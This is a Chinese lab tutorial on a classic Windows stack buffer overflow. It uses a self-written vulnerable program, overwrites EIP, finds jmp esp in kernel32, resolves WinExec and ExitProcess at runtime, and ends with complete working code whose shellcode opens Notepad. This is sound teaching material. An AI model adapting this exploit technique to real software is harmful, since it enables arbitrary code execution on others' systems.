緩沖區溢出漏洞實例(打開記事本)


實驗目標:使用VC++ 6.0編寫shellcode.cpp,用memcpy函數構造緩沖區溢出;並構造shellcode數組,數組的內容為覆蓋掉返回地址EIP后,去打開notepad.exe。

1.首先完成主函數的編寫:

void test()
{
    char buffer[10];
    memcpy( buffer, shellcode, sizeof(shellcode) );
}
void main()
{
    test();
}

主函數只調用test()函數,test()函數用memcpy函數造成緩沖區溢出,即大數據往小空間上拷貝。接下來編寫shellcode,只要shellcode的大小超過10,返回地址EIP就會被覆蓋掉,轉向攻擊代碼,也就是打開notepad.exe。

2.編寫shellcode:

shellcode是指能完成特殊任務的自包含的二進制代碼,根據不同的任務可能是發出一條系統調用或建立一個高權限的shell,shellcode因此而得名。

在本次實驗中,shellcode的任務是打開noteped.exe。所以需要利用OllyICE工具來編寫構造二進制代碼:

接下來以二進制的形式復制該段代碼:

替換成十六進制的形式,構成shellcode數組:

char shellcode[] = {
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0
};

然后編譯程序,執行后會報錯,需要使用OllyICE進行調試:

找到memcpy函數,在離它最近的retn即為要尋找的返回地址EIP,下一個斷點。F9跳轉到該地址執行,觀察堆棧區:

現在情況就是發生了溢出,沒有控制好溢出后的函數返回地址,讓其進入了一個不能讀寫的地址上去執行,所以報錯。

唯一的辦法就是去耐心的反復調試。本次調試前,請先加上一組0x90(對應nop,即空操作),如下:

char shellcode[] = {

0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0

};

繼續調試,觀察堆棧區情況,返回地址為0x90909090,需要改寫該地址才能讓程序進入shellcode區執行。

通過精心計算,返回地址可以填寫0012FF34,因為函數返回跳轉到0012FF34上去執行,是一串空操作,但之后就會進入我們寫的打開記事本的shellcode區。

shellcode第一個有效字符為64,它之前有10個90,然后就是返回地址。改寫情況如下:

char shellcode[] = {

0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x34,0xFF,0x12,0x00,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0

};

運行:

如果本機報錯,可繼續用上面的方法進行調試。

3.通用性改進:

這樣編寫的exe只能在該系統上運行,如果換台機器,堆棧區不一定是0012FF34后布置攻擊代碼。為了增強通用性,就是我們要解決的第一個問題,0012FF34不能硬編碼寫死。

用OllyICE工具調試,跳轉到0012FF34,觀察寄存器區,函數返回前后ESP指針的情況,如圖所示:

觀察后發現函數調用返回后棧頂指針的內容恰好為0012FF34,所以如果想進入到該地址執行,最后是用一條指令替代硬編碼地址,jmp esp指令可以解決該問題。jmp esp指令對應的二進制碼為FFE4,為了程序通用性,最好在系統必要的動態鏈接庫中去找(如kernel32),點擊OllyIce上方的M圖標進入內存區域,在kernel32.dll查找FFE4:

找到7FFA4512地址下存有FFE4,所有可以用該地址替換掉0012FF34,替換情況如下:

char shellcode[] = {

0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0

};

這樣改寫后,如果均為XP操作,該EXE均能打開notepad。

如果是不同版本的操作系統,程序的通用性還需要進一步改進,主要問題在於還有其他的硬編碼地址需要動態獲取。shellcode區域里的0x7C8623AD為WinExec在XP下的函數地址,0x7C81CAFA為ExitProcess的函數地址,並且0x7FFA4512地址在高版本操作系統下也不一定對應FFE4這一條指令。

為了解決這個問題,可以利用LoadLibrary和GetProcAddress函數進行聯合調用,獲取API函數地址,然后把該地址反填回shellcode。

DWORD a1 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"WinExec");
DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"ExitProcess");
*(DWORD*)(shellcode+49) = a1; /*根據自己的實際情況填寫*/
*(DWORD*)(shellcode+58) = a2;

找到后把地址回填到shellcode對應的位置上:

DOWRD base = 0x00400000;
while ( 1 )
{
    if( *(WORD *)base == 0xe4ff )
           break;
    base ++;
}
*( DWORD *)&shellcode[16] = base;

三個硬編碼地址處理后,程序就可以在多個版本操作系統上正常執行。

Win10運行結果(注意殺毒軟件會殺掉):

完整代碼:

#include <windows.h>

char shellcode[] = {

0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0

};

void test()
{
    char buffer[10];
    memcpy( buffer, shellcode, sizeof(shellcode) );
}
void main()
{
	DWORD base = 0x00400000; /*imagebase*/

	while ( 1 )
	{
		if( *(WORD *)base == 0xe4ff )
             break;
		base ++;
	}
	*( DWORD *)&shellcode[16] = base;

	DWORD a1 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"WinExec");
	DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"ExitProcess");
	*(DWORD*)(shellcode+49) = a1; /*根據自己的實際情況填寫*//*WinExec函數地址對應的位置*/
	*(DWORD*)(shellcode+58) = a2; /*ExitProcess函數地址對應的位置*/

        test();
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM